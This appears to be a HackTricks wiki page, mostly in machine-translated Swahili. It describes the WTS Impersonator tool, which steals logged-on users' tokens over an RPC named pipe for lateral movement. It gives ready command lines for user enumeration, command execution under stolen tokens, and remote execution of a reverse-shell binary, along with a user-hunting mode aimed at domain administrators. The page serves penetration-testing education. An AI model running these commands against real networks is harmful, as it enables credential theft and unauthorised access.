4.2 KiB
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
Chombo cha WTS Impersonator kinatumia "\pipe\LSM_API_service" RPC Named pipe ili kuhesabu kwa siri watumiaji walioingia na kuiba token zao, ikiepuka mbinu za jadi za Token Impersonation. Njia hii inarahisisha harakati za upande kwa urahisi ndani ya mitandao. Ubunifu wa mbinu hii unahusishwa na Omri Baso, ambaye kazi yake inapatikana kwenye GitHub.
Msingi wa Kazi
Chombo kinatumika kupitia mfululizo wa API calls:
WTSEnumerateSessionsA → WTSQuerySessionInformationA → WTSQueryUserToken → CreateProcessAsUserW
Key Modules and Usage
- Enumerating Users: Uteuzi wa watumiaji wa ndani na mbali unapatikana kwa zana, kwa kutumia amri kwa kila hali:
- Locally:
.\WTSImpersonator.exe -m enum
- Remotely, by specifying an IP address or hostname:
.\WTSImpersonator.exe -m enum -s 192.168.40.131
- Executing Commands: Moduli za
exec
naexec-remote
zinahitaji muktadha wa Huduma ili kufanya kazi. Utekelezaji wa ndani unahitaji tu executable ya WTSImpersonator na amri: - Mfano wa utekelezaji wa amri za ndani:
.\WTSImpersonator.exe -m exec -s 3 -c C:\Windows\System32\cmd.exe
- PsExec64.exe inaweza kutumika kupata muktadha wa huduma:
.\PsExec64.exe -accepteula -s cmd.exe
- Remote Command Execution: Inahusisha kuunda na kufunga huduma kwa mbali kama PsExec.exe, ikiruhusu utekelezaji kwa ruhusa zinazofaa.
- Mfano wa utekelezaji wa mbali:
.\WTSImpersonator.exe -m exec-remote -s 192.168.40.129 -c .\SimpleReverseShellExample.exe -sp .\WTSService.exe -id 2
- User Hunting Module: Inalenga watumiaji maalum kwenye mashine nyingi, ikitekeleza msimbo chini ya ithibati zao. Hii ni muhimu hasa kwa kulenga Wasimamizi wa Kikoa wenye haki za usimamizi wa ndani kwenye mifumo kadhaa.
- Mfano wa matumizi:
.\WTSImpersonator.exe -m user-hunter -uh DOMAIN/USER -ipl .\IPsList.txt -c .\ExeToExecute.exe -sp .\WTServiceBinary.exe
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.